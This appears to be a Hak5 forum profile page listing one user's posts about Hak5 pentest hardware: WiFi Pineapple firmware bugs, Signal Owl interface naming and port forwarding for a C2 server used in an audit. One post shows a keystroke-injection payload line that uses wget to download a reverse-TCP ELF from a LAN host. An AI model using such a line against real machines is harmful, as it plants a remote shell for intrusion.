Jump to content

DangerAnt

Active Members
  • Posts

    22
  • Joined

  • Last visited

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

DangerAnt's Achievements

Newbie

Newbie (1/14)

  1. I have also run into this problem. i was able to get around it and completely resolve the problem with the use of Quotes ("). In other words when using QUACK STRING put your command in Quotes for your first example try putting Q STRING "wget -O reverse_tcp_linux.elf 192.168.1.128:8000/reverse_tcp_linux.elf" in your payload instead of Q STRING wget -O reverse_tcp_linux.elf 192.168.1.128:8000/reverse_tcp_linux.elf
  2. no worries on that front, i have all the toys. Routers, Pineapples, laptops, and hubs (kind of hard to find now). I just need to time to set it all up and test. Thanks again for your input and assistance.
  3. good thinking, i'll test but it will take me some time to set up. Thanks for the suggestions
  4. Thanks for your reply Chrizree. attached is an nmap scan of my public IP showing that all the ports are in fact open. As far as router logs, unfortunately my router doesn't give great logs on this front. and as far as the web interface for C2 i have no intention of allowing the web interface be accessible from the internet, VPN to my network only. but as i said in my last post, i have had no problems with other port forwarding rules (VPN access is the only other thing i forward rules for).
  5. Hi everyone! I'm trying to set up my C2 server so i can plant some devices for a security audit at my employer's network (with permission naturally) I have my C2 server set up at my home. When i connect my Hak5 devices to my home network they communicate without any problems, but when i restart the C2 server using my domain name and update the device configs so they connect to the server using the domain name (or public IP for that matter) i can't seam to get them to connect. My C2 server is using the INTERNAL IP address of 10.0.0.16 (as you can see in the attached image) and i thought i forwarded all the needed ports, but the devices never make the connection. Furthermore if i CAT the device.config file i can see that the config does use the domain name and appears to use port 8080. These are the two bits of information that are in plain text in the config file. My problem is that I don't really know what ports Hak5 devices use to connect to the C2 server. Based on the above mentioned clear text in the config file and also information i have scrapped together from documentation, forums, and even provided via email by Daren port 8080 seams to be correct but again i can't get the devices to connect. Any assistance would be greatly appreciated. P.S. the two devices I'm working with are a Signal OWL and a WIFI Pineapple NANO. and the provided image is of my Cisco router connected directly to my modem (that is in bridge mode). There are no other known problems getting any devices or port forwarding rules working. P.P.S on my network the only network traffic allowed in should be openVPN and C2 packets. I know its a bit of a mess rite now due to opening every port i can think of to get this working.
  6. i don't think this is what i'm seeing. when i go to 2.7.0 i can only use the nano for about 10 min max before the cpu spikes to 100% (according to the dashboard) and pages will no longer load and i can't ssh to it. one point that will add is that i had sslsplit mod loaded, but no other mods. either way the 2.6 firmware works perfect for me (aside from sslsplit not working).
  7. I'll go one step further, i think the hole problem with 2.7.0 IS third party modules. Be the change you want to see in the world and pick up some of the "dead" modules.
  8. 2.6.2 appears to be the "best" firmware for my use. P.S. I agree that 2.7.0 appears to be broken or "hosed" if you prefer, but i'm willing to bet that 2.7.1 will be the best yet once they get a chance to work on it.
  9. ok first things first, i think the reason you are seeing more people complain about the tetra than the nano is cost. the tetra costs twice as much as the nanao so people are expecting flawless performance $100 more than the nano. With that being said, check these forums again you will see a good number of people complaining about that Nano. As far as the commend "In fact on the most recent firmware update for the nano people were saying that it was quite good and all the modules were working." i strongly disagree with this. In my humble opinion the latest firmware makes the nano unusable (it pegs the UPS to 100% and i can't work with it at that point) and i have officially urged Hak 5 to consider pulling that firmware. As far as if its worth it, i think that depends on what your expectations are. If you just want a toy to play with, i wouldn't bother (but i also can't make fruitywifi work so i don't see an alternative). If you are an IT pro and want a deeper understanding of threats in the WIFI space or even better yet a pen tester, i would say its worth every penny. Just don't expect a magic hack box where all wifi devices connect to it.
  10. I noticed the same thing on my Signal Owl, but not yet on my Nano. My solution (again for the owl) was to boot the device up, and then plug in the USB wireless card. This caused the Owl to assign the internal card as wlan1, and when i plugged in the external card it would get wlan1 Now i have done the same with my Nano just out of habit at this point. I let the device boot up, then plug in my external card and it always get wlan2 (3rd wifi card) that i can then use in client mode without affecting PineAP. Hope you found this helpful. P.S. My Signal Owl has been deemed damaged and is being replaced by the fine people at Hak5 so its possible the kind of thing i noticed with the owl is due to this damage and might not apply (but i don't think so).
  11. same experience here, but i had a lot of problems with 2.7.0. If anyone at the Hak5 team reads this, please consider pulling the 2.7.0 firmware
  12. this could be explained by the Nano not working with 5GHz network. If these devices are using and connecting over 2.4GHz it should be working as advertised.
  13. I'm kind of in the same boat as you, just got my first Pineapple yesterday. what i found is that the latest firmware is a bit buggy. I suggest skipping this latest firmware and use the last one back (2.6.7 if i recall correctly). Don't be hard on Hak5 for this, we have been in the throws of Covid-19 since 2.7.0 was released. I have the utmost faith that they will get problems with 2.7.0 firmware sorted out when they can. P.S. One of the problem i found with 2.7.0 was with sslsplit seaming to cause the cpu to max out and the pineapple to lock up. remember Hak5 did not make sslsplit or may other packages for the pineapple.
  14. Thanks Darren, your support as always is appreciated.
  15. it is, and thats exactly what i needed. thanks for the help!
×
×
  • Create New...